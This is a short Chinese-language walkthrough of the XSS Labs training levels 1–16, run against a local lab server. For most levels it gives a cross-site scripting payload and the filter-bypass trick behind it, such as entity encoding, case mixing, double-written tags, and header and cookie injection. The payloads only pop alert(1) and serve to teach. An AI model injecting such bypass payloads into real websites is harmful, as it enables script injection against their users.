一篇关于 XSS 的文章

19

XSS 思路

XSS Labs 1-16 关指南

1. 不需要任何绕过

http://192.168.30.124/xss-labs-master/level1.php?name=<script>alert(1)</script>

2. 闭合 HTML 属性

test"><script>alert(1)</script>

3. 单引号闭合

关键字使用了单引号包裹,所以使用单引号闭合

' onclick=alert(1) '

4. 双引号闭合

" onclick=alert(1) "

5. javascript 绕过

过滤了<script、on*,使用 javascript 绕过

"><a href=javascript:alert(1)>aaa</a>

6. 大小写绕过

"><sCrIpt>alert(1)</scRipt>

7. 双写script标签绕过

"><scscriptript>alert(1)</scscriptript>

8. HTML实体编码绕过

将javascript转换为HTML实体编码绕过

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)

9. 注释绕过

在第八关的基础上添加了http://的检测,将http://注释可绕过

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)/*http://*/

10. 隐藏的输入框

将隐藏的输入框属性type="hidden"去掉,插入payload

" onclick=alert(1) "

11. referer 头触发 XSS

"type=text onclick=alert(1) //

12. UA头触发 XSS

查看网页源码,发现t_ua参数可控,伪造UA可触发XSS

"type=text onclick=alert(1) //

Xray 扫描发现 cookie 存在 XSS,伪造 cookie 触发 XSS

14. 打不开

15. ng-include 包含

ng-include 相当于 php 的 include 函数,所以我们包含一个有 XSS 漏洞的 URL 就可触发这里的 XSS

http://192.168.30.124/xss-labs-master/level15.php?src=%27level1.php?name=%3Cimg%20src=x%20onerror=alert(1)%3E%27

16. 空格绕过

使用 %0a 可绕过空格

<a%0Aonclick=(alert)()>click